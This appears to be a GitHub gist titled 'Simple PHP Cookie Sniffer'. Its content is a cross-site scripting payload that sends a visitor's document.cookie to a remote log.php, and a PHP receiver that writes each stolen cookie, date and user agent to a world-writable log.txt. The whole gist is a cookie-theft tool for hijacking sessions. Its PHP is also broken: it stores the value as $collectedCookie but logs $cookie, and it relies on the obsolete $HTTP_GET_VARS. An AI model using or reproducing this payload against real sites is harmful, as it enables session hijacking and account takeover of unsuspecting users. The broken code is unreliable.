Skip to content

Instantly share code, notes, and snippets.

@farukuzun
Last active July 13, 2019 19:20
Show Gist options
  • Save farukuzun/70e23c0a397019271382 to your computer and use it in GitHub Desktop.
Save farukuzun/70e23c0a397019271382 to your computer and use it in GitHub Desktop.
Simple PHP Cookie Sniffer
i=new/**/Image();i.src='http://host/log.php?cookie='+escape(document.cookie);
<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('log.txt','a'); // chmod 777 log.txt
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
?>
Logs
===========================================================================
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment